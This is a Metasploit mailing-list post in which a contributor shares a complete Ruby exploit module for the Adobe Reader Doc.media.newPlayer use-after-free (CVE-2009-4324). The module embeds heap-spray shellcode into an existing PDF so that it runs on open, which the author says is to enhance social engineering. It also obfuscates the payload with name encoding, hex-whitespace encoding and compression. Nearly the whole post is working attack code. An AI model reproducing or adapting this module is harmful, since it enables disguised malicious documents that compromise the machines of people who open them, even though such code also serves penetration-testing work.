Metasploit mailing list archives
Re: adobe_media_newplayer Extension developpement
From: Thibault Magné <aemaeth.2501 () gmail com>
Date: Thu, 1 Apr 2010 16:32:06 -0400
Hi back, I modified xref_create method to get it make what I wanted. Now everything works correctly on some pdf files more complicated than a hello-world one. I join there the entire rb file, please tell me how could I improve it to get it look like less tinkering. Regards, __________________________ ## # $Id: adobe_media_newplayer_embedded.rb 8190 2010-01-21 19:26:04Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote #To fix Rank = GoodRanking include Msf::Exploit::PDF_Parse include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Doc.media.newPlayer Use After Free Vulnerability Extension', 'Description' => %q{ This module exploits a use after free vulnerability in Adobe Reader and Adobe Acrobat Professional versions up to and including 9.2. It adds the possibility to add the exploit into an existing pdf document to enhance social engineering. Note : adobe_media_newplayer and adobe_pdf_embedded_exe reingineering. Todo : allow to let INFILENAME void => adobe_media_newplayer original exploit }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # Found in the wild # Metasploit version by: 'hdm', 'pusscat', 'jduck', 'aemaeth' ], 'Version' => '$Revision: 8190 $', 'References' => [ [ 'CVE', '2009-4324' ], [ 'BID', '37331' ], [ 'OSVDB', '60980' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # test results (on Windows XP SP3) # reader 6.0.1 - vulnerable / doesn't work # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - vulnerable / doesn't work # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.1 - works # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works # reader 9.2 - works (no debugger, no DEP) [ 'Adobe Reader Windows English (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0c0c0c0c, } ], [ 'Adobe Reader Windows German (JS Heap Spray)', { 'Size' => (0x10000/2), 'Ret' => 0x0a0a0a0a, } ], ], 'DisclosureDate' => 'Dec 14 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The resultant file name.', 'msf.pdf']), OptString.new('INFILENAME', [ true, 'The file name to add exploit to.', '']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize variables len = 72 rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') rand5 = rand_text_alpha(len/2).gsub(/([dhHjmMsty])/m, '\\\\' + '\1') vtbuf = [target.ret].pack('V') * 4 vtbuf << rand_text_alpha(len - vtbuf.length) vtbuf.gsub!(/([dhHjmMsty])/m, '\\\\' + '\1') retstring = Rex::Text.to_unescape(vtbuf) # The printd strings are 72 bytes (??) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = unescape("#{nops}"); var #{rand3} = unescape("#{retstring}"); while(#{rand2}.length <= #{target['Size']}) #{rand2}+=#{rand2}; #{rand2}=#{rand2}.substring(0,#{target['Size']} - #{rand1}.length); memory=new Array(); for(i=0;i<0x2000;i++) { memory[i]= #{rand2} + #{rand1}; } util.printd("#{rand4}", new Date()); util.printd("#{rand5}", new Date()); try {this.media.newPlayer(null);} catch(e) {} util.printd(#{rand3}, new Date()); | pdf = make_pdf(script,datastore['INFILENAME']) print_status("Creating '#{datastore['FILENAME']}' file...") #Print out the output file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end #Haven't found why original method gave me bad result, rewriting it... def xref_create(stream,offset,num_obj) xref = Array.new() object = String.new() len = stream.length n = offset while n < len obj = stream.index(/(\d+) \d obj/,n) if obj != nil num = obj.to_s dif = 10 - num.length out = String.new while dif > 0 out << "0" dif -= 1 end out << num xref.push("#{out}") n = Regexp.last_match.end(0) else break end end output = String.new() output << "0 #{xref.length}\r\n0000000000 65535 f\r\n" xref.each {|xref_| output << "#{xref_} 00000 n\r\n" } return output end def make_pdf(js,file_name) eol = "\x0d\x0a" stream = read_pdf() print_status("Parsing '#{file_name}'...") pdf_objects = parse_pdf(stream) print_status("Parsing Successful.") xref_trailers = pdf_objects[0] trailers = pdf_objects[1] startxrefs = pdf_objects[2] root_obj = pdf_objects[3] new_pdf = String.new() new_pdf << "%PDF-1.5" << eol new_pdf << "%" << RandomNonASCIIString(4) << eol #Catalog modification" catalog = parse_object(xref_trailers,root_obj,stream) if catalog.match(/OpenAction/m) match = catalog.match(/OpenAction (\d+ \d) R/m) if match new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i} 0 R") end else new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i} 0 R") end if new_catalog new_pdf << new_catalog else print_status("Unable to parse catalog...") end #Rewriting original objects 1.upto((trailers[0].fetch("Size").to_i) - 1) { |obj_num| if !("#{obj_num} 0" == root_obj) obj_name = "#{obj_num} 0" new_pdf << parse_object(xref_trailers,obj_name,stream) end } pdf_init_size = trailers[0].fetch("Size").to_i #Adding the exploit objects (2) new_pdf << "#{pdf_init_size} 0 obj" << eol new_pdf << nObfu("<</Type/Action/S/JavaScript/JS ") + "#{pdf_init_size +1} 0 R >>" new_pdf << "endobj" << eol compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) new_pdf << "#{pdf_init_size +1} 0 obj" << eol new_pdf << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol new_pdf << "stream"<< eol new_pdf << compressed << eol new_pdf << "endstream"<< eol new_pdf << "endobj" << eol start_xrefs = new_pdf.length #Writing xrefs xrefs = xref_create(new_pdf,0,"*") new_pdf << "xref"<< eol new_pdf << xrefs #Writing trailer #Could could be done better new_pdf << "trailer" << eol << "<<" << eol pdf_objects[1][0].each { |key,val| if key == "Root" new_pdf << "/#{key} #{val} R" << eol else if key == "Size" size = (val.to_i + 2).to_s new_pdf << "/#{key} #{size}" << eol end end } new_pdf << ">>" << eol #Writing startxref new_pdf << "startxref" << eol new_pdf << start_xrefs.to_s << eol #Writing EOF new_pdf << "%%EOF" return new_pdf end end
_______________________________________________ https://mail.metasploit.com/mailman/listinfo/framework
Current thread:
- Re: adobe_media_newplayer Extension developpement Thibault Magné (Apr 01)